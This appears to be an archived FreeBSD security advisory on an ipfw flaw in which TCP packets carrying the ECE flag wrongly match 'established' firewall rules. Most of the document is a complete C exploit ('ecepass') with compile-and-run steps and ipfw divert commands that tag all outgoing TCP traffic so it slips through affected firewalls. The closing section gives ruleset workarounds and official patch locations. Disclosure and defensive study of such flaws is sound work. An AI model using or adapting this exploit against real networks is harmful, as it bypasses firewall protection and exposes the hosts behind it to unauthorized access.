COMMAND
ipfw
SYSTEMS AFFECTED
FreeBSD
PROBLEM
Roelof Temmingh posted following (Code written by Plathond).
Original problem found by Aragon Gouveia. Using FreeBSD divert
rule, all outgoing traffic (or as specified in ipfw rule) will be
diverted to the ecepass process - the ECE flag will be added.
Traffic directed to hosts behind ipfw-based firewall will be
passed, rendering the firewall useless if it makes use of the
"allow all from any to any established" rule. Tried & tested...
ipfw is a system facility which allows IP packet filtering,
redirecting, and traffic accounting. ip6fw is the corresponding
utility for IPv6 networks, included in FreeBSD 4.0 and above. It
is based on an old version of ipfw and does not contain as many
features.
Due to overloading of the TCP reserved flags field, ipfw and ip6fw
incorrectly treat all TCP packets with the ECE flag set as being
part of an established TCP connection, which will therefore match
a corresponding ipfw rule containing the 'established' qualifier,
even if the packet is not part of an established connection.
The ECE flag is not believed to be in common use on the Internet
at present, but is part of an experimental extension to TCP for
congestion notification. At least one other major operating
system will emit TCP packets with the ECE flag set under certain
operating conditions.
Only systems which have enabled ipfw or ip6fw and use a ruleset
containing TCP rules which make use of the 'established'
qualifier, such as "allow tcp from any to any established", are
vulnerable. The exact impact of the vulnerability on such systems
is undetermined and depends on the exact ruleset in use.
How to use?
1. Make sure your kernel is compiled with the following options:
options IPDIVERT
options IPFIREWALL
2. gcc -o ecepass ecepass.c
3. ./ecepass &
4. ipfw add 5 divert 7000 tcp from any to any
5. All TCP traffic will now have the ECE flag added to it.
Obviously you need to make sure that the last ipfw rule allows
traffic e.g.:
00001 divert 7000 tcp from any to any
65535 allow ip from any to any
As the exploit uses "ipfw divert" it only works on FreeBSD.
/*
* FreeBSD ipfw + TCP ECE flag exploit.
* Plathond for Sensepost 2001/01/25
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <machine/in_cksum.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/route.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <machine/in_cksum.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/route.h>
#include <arpa/inet.h>
#include <alias.h>
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
#define DIVERT_PORT 7000
#define FALSE 0
#define TRUE 1
#define CKSUM_CARRY(x) \
(x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))
typedef unsigned char Boolean;
static unsigned char pbuf[IP_MAXPACKET];
static unsigned long plen = 0;
static int psock = -1;
static struct sockaddr_in paddr;
/*
* These are stolen from libnet.
*/
int in_cksum(u_short *addr, int len)
{
int sum;
int nleft;
u_short ans;
u_short *w;
sum = 0;
ans = 0;
nleft = len;
w = addr;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&ans) = *(u_char *)w;
sum += ans;
}
return (sum);
}
void do_cksum(unsigned char *buf, int protocol, int len)
{
struct ip *ip;
unsigned long ip_hl = 0;
unsigned long sum = 0;
ip = (struct ip *)buf;
ip_hl = ip->ip_hl << 2;
switch(protocol) {
case IPPROTO_TCP: {
struct tcphdr *tcp;
tcp = (struct tcphdr *)(buf + ip_hl);
tcp->th_sum = 0;
sum = in_cksum((u_short *)&(ip->ip_src), 8);
sum += ntohs(IPPROTO_TCP + len);
sum += in_cksum((u_short *)tcp, len);
tcp->th_sum = CKSUM_CARRY(sum);
break;
}
default:
return;
}
return;
}
void flushpacket(int fd)
{
int nR;
nR = sendto(fd,
pbuf,
plen,
0,
(struct sockaddr*) &paddr,
sizeof(paddr));
if (nR != plen) {
if (errno == ENOBUFS)
return;
if (errno == EMSGSIZE) {
fprintf(stderr, "Need to implement frag.\n");
return;
}
else {
fprintf(stderr, "Failed to write packet.\n");
return;
}
}
psock = -1;
}
void handle_input(int sock)
{
int nR = 0;
int addrsize = 0;
struct ip *ip;
Boolean fIsOutput = FALSE;
unsigned int ip_hl = 0, tcp_hl = 0;
unsigned int ip_data_len = 0;
struct tcphdr *tcp = NULL;
addrsize = sizeof(struct sockaddr_in);
nR = recvfrom(sock,
pbuf, sizeof(pbuf), 0,
(struct sockaddr *)&paddr,
&addrsize);
if (nR == -1) {
if (errno != EINTR)
fprintf(stderr, "Warning : recvfrom() failed.\n");
goto over;
}
ip = (struct ip *)pbuf;
ip_hl = ip->ip_hl << 2;
/* Check if this is input or output */
if (paddr.sin_addr.s_addr == INADDR_ANY)
fIsOutput = TRUE;
else
fIsOutput = FALSE;
/* We are only handling TCP packets */
if (ip->ip_p != IPPROTO_TCP)
goto over;
/* Get the TCP header */
tcp = (struct tcphdr *) (pbuf + ip_hl);
tcp_hl = tcp->th_off << 2;
ip_data_len = ntohs(ip->ip_len) - ip_hl;
/* Sanity check packet length */
if (ip_data_len <= 0)
goto over;
/* Add ECE and CWR flags to TCP header */
tcp->th_flags |= (0x40 | 0x80);
/* Compute new checksum */
do_cksum(pbuf, IPPROTO_TCP, ip_data_len);
/* Write packet back */
plen = nR;
psock = sock;
flushpacket(sock);
over:
return;
}
int main(int argc, char **argv)
{
int inoutsock = -1;
fd_set rfs, wfs;
int fdmax = -1;
struct sockaddr_in addr;
int rc;
/* Create divert sockets */
if ((inoutsock = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) {
fprintf(stderr, "socket() failed, exiting\n");
exit(1);
}
/* Bind socket */
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = ntohs(DIVERT_PORT);
if (bind(inoutsock,
(struct sockaddr*) &addr,
sizeof(struct sockaddr_in)) == -1) {
fprintf(stderr, "Unable to bind socket, exiting\n");
exit(1);
}
while (1) {
FD_ZERO(&rfs);
FD_ZERO(&wfs);
if (psock != -1)
FD_SET(psock, &wfs);
FD_SET(inoutsock, &rfs);
if (inoutsock > psock)
fdmax = inoutsock;
else
fdmax = psock;
/* Select loop */
rc = select(fdmax + 1, &rfs, &wfs, NULL, NULL);
if (rc == -1) {
if (errno == EINTR)
continue;
fprintf(stderr, "select() failed, exiting\n");
exit(1);
}
/* Check for flush from previous packet */
if (psock != -1) {
if (FD_ISSET(psock, &wfs))
flushpacket(psock);
}
/* Do we have input available ? */
if (FD_ISSET(inoutsock, &rfs)) {
/* Yip, handle it */
handle_input(inoutsock);
}
}
}
/* spidermark sensepostdata ece*/
SOLUTION
Because the vulnerability only affects 'established' rules and
ECE-flagged TCP packets, this vulnerability can be removed by
adjusting the system's rulesets. In general, it is possible to
express most 'established' rules in terms of a general TCP rule
(with no TCP flag qualifications) and a 'setup' rule, but may
require some restructuring and renumbering of the ruleset.
Unfortunately, the security fix was accidentally reverted during a
merge of ipfw changes from FreeBSD 5.0-CURRENT. The regression
existed between the following dates:
Problem introduced: Thu, 1 Feb 2001 12:25:10 -0800 (PST)
Problem fixed: Sat, 3 Feb 2001 21:49:00 -0800 (PST)
The affected revision was CVS revision 1.131.2.13 of
/usr/src/sys/netinet/ip_fw.c and the corrrected revision is
1.131.2.14. Note that revisions prior to 1.131.2.11 are
vulnerable to the problem described in this advisory. Version
1.131.2.11, and prior versions patched using the original patch
distributed with the advisory are not vulnerable to the problem.
To verify the CVS revision of your ip_fw.c file, perform the
following command:
mollari# ident /usr/src/sys/netinet/ip_fw.c
/usr/src/sys/netinet/ip_fw.c:
$FreeBSD: src/sys/netinet/ip_fw.c,v 1.131.2.14 2001/02/04 05:48:59 rwatson Exp $
If you have revision 1.131.2.13, download the "regression" patch
below. Patch your present system by downloading the relevant
patch from the below location:
[FreeBSD 4.x - patch for regression introduced on 2001-02-01]
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.2-regression.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.2-regression.patch.asc
[FreeBSD 4.x]
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.x.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.x.patch.asc
[FreeBSD 3.x]
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-3.x.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-3.x.patch.asc